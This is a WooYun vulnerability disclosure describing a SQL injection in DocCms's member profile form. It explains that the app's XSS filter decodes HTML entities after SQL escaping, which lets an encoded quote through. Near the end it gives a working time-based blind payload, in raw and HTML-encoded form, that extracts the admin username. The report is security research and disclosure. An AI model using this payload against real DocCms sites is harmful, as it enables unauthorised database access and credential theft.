当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115644

漏洞标题： DocCms绕过防注进行SQL注入2枚打包，无视GPC

相关厂商：DocCms

漏洞作者： 路人甲

提交时间：2015-05-26 10:41

修复时间：2015-07-10 10:42

公开时间：2015-07-10 10:42

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-26： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-07-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

DocCms绕过防注进行SQL注入2枚打包，无视GPC

详细说明：

用户量依然是这么大~~
首先大致说下这个SQL是如何产生的，看到 WooYun: DocCms最新版sql注入漏洞 ，它利用url编码绕过过滤进行了注入，就有了点点想法，会不会还有其他编码绕过过滤的问题？
先把注入点和注入参数拿出来吧，便于审核大大们查看是否有重复：注入点是前台用户注册的地方（会员中心----基本资料----编辑，doccms的各个模块后台都是可以打开或关闭的，本地测试时，如果没有打开，请后台自行打开），注入参数为：nickname、sex
下面来研究一下如何绕过防注系统：
Doccms中首先对输入进行了全局过滤，但是后面为了过滤XSS，又对经过全局过滤的用户输入进行了html解码，因此，可以通过编码绕过过滤进行注入。
Doccms在/loader/doc.php对输入的内容进行了全局的过滤，如下

$_REQUEST = cleanArrayForMysql($_REQUEST);
$_GET     = cleanArrayForMysql($_GET);
$_POST    = cleanArrayForMysql($_POST);
$request  = $_REQUEST;


跟进cleanArrayForMysql看一下，/inc/function.php

function cleanArrayForMysql($data)
{
	if(!get_magic_quotes_gpc())
		return (is_array($data))?array_map('cleanArrayForMysql', $data):mysql_real_escape_string($data);
	else
		return $data;
}


可以看到对用户的输入调用了mysql_real_escape_string()进行过滤，这个函数把sql的几个特殊字符过滤掉了，特别是’,但是这个函数并不过滤%,后面会用到这个特性。
在用户有输入的地方，doccms对用户的输入进行XSS过滤。比如本次注入的地方，在 会员中心，注册新会员时，会调用/content/user/index.php 文件中的reg函数

function edit()
{
	checklogin();
	global $db;
	global $request;
	global $tag;
	
	if($_POST)
	{
		foreach ($request as $k=>$v)
		{
			$request[$k]=RemoveXSS($v);
		}
		//必填验证
		require(ABSPATH.'/inc/class.validate.php');
		if(!validate::is_email($request['email'])){
			die('请确认邮箱填写正确！');
		}
		require(ABSPATH.'/inc/models/user.php');
		$user = new c_user();
		$user->id=$_SESSION[TB_PREFIX.'user_ID'];
		
		$user->name=$request['name'];
		$user->email=$request['email'];
		$user->nickname=$request['nickname'];
		$user->age=$request['age'];
		$user->mtel=$request['etel'];
		$user->sex=$request['sex'];
		$user->qq=$request['qq'];
		$user->msn=$request['msn'];
		$user->email=$request['email'];
		$user->address=$request['address'];
		if($user->save())
		{	
			redirect(sys_href($request['p'],'user','edit'));		
		}else{
			exit('<script language="javascript">alert("修改失败!");history.back(1);</script>');
		}
	}else{
		global $user;
		$sql="SELECT * FROM ".TB_PREFIX."user WHERE id=".$_SESSION[TB_PREFIX.'user_ID'];
		$user = $db->get_row($sql);
	}
}


可以看到

foreach ($request as $k=>$v)
		{
			$request[$k]=RemoveXSS($v);
		}


调用了RemoveXSS()函数，RemoveXSS()内容如下

function RemoveXSS($val) { 
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed 
    // this prevents some character re-spacing such as <java\0script> 
    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some          // inputs 
    $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); 
    
    // straight replacements, the user should never need these since they're normal characters 
    // this prevents like <IMG SRC=@avascript:alert('XSS')> 
    $search = 'abcdefghijklmnopqrstuvwxyz'; 
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $search .= '1234567890!@#$%^&*()'; 
    $search .= '~`";:?+/={}[]-_|\'\\'; 
    for ($i = 0; $i < strlen($search); $i++) { 
        // ;? matches the ;, which is optional 
        // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 
        // @ @ search for the hex values 
        $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);//with a ; 
        // @ @ 0{0,7} matches '0' zero to seven times 
        $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
    } 
    // now the only remaining whitespace attacks are \t, \n, and \r 
    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
    $ra = array_merge($ra1, $ra2); 
   
    $found = true; // keep replacing as long as the previous round replaced something 
    while ($found == true) { 
        $val_before = $val; 
        for ($i = 0; $i < sizeof($ra); $i++) { 
            $pattern = '/'; 
            for ($j = 0; $j < strlen($ra[$i]); $j++) { 
                if ($j > 0) { 
                    $pattern .= '('; 
                    $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
                    $pattern .= '|'; 
                    $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
                    $pattern .= ')*'; 
                } 
                $pattern .= $ra[$i][$j]; 
            } 
            $pattern .= '/i'; 
            $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag 
            $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags 
            if ($val_before == $val) { 
                // no replacements were made, so exit the loop 
                $found = false; 
            } 
        } 
    } 
    return $val; 
}


为了更好的过滤XSS，RemoveXSS把用户输入进行了html解码，因而整个流程是这样的：用户输入内容--->mysql_real_escape_string()---->RemoveXSS()---->mysql_query(),也就是说用户输入内容首先被mysql_real_escape_string()过滤掉sql特殊字符，然后RemoveXSS()进行html解码，最后执行sql语句。
因此问题就来了，先把SQL特殊字符进行html编码，绕过mysql_real_escape_string()，然后由RemoveXSS()解码还原，然后就可以执行了，注入也就产生了。
这样产生的注入虽然可以引入’,但是由于RemoveXSS()无法使用逗号，这也给注入带来了点点麻烦。不过不用逗号一样可以构造注入语句。
注入不能使用逗号，且注入是在insert处，因此使用case when then 进行注入，可以有效的避开逗号问题。
因是在insert的values中构造注入语句，又不能使用逗号，暂时没想到如何使用case when then +bool-based 来注入。本次注入使用case when then +time-based blind进行注入。
以“sex”为例进行验证：
Payload（html编码前）：

username=test&nickname=&name=&sex=’ or (select case when (select username from (select * from doc_user) as a where id=1) like ‘a%’ then sleep(3) else sleep(0) end) or ‘&age=&etel=&email=test%40163.com&qq=&msn=&address=


编码以后的payload为：

username=test&nickname=&name=&sex=%26%23%78%32%37%3B or (select case when (select username from (select * from doc_user) as a where id=1) like %26%23%78%32%37%3Ba%%26%23%78%32%37%3B then sleep(3) else sleep(0) end) or %26%23%78%32%37%3B&age=&etel=&email=test%40163.com&qq=&msn=&address=


Time-based blind 注入

正确副本.jpg


根据提交成功返回的时间即可判断doc_user中第一个用户的用户名是不是以a开头的，若是返回时间约为5s。
可以使用burpsuite辅助测试或写个脚本进行时间盲注。最后测试的结果为管理员用户名为admin

漏洞证明：

见 详细说明

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝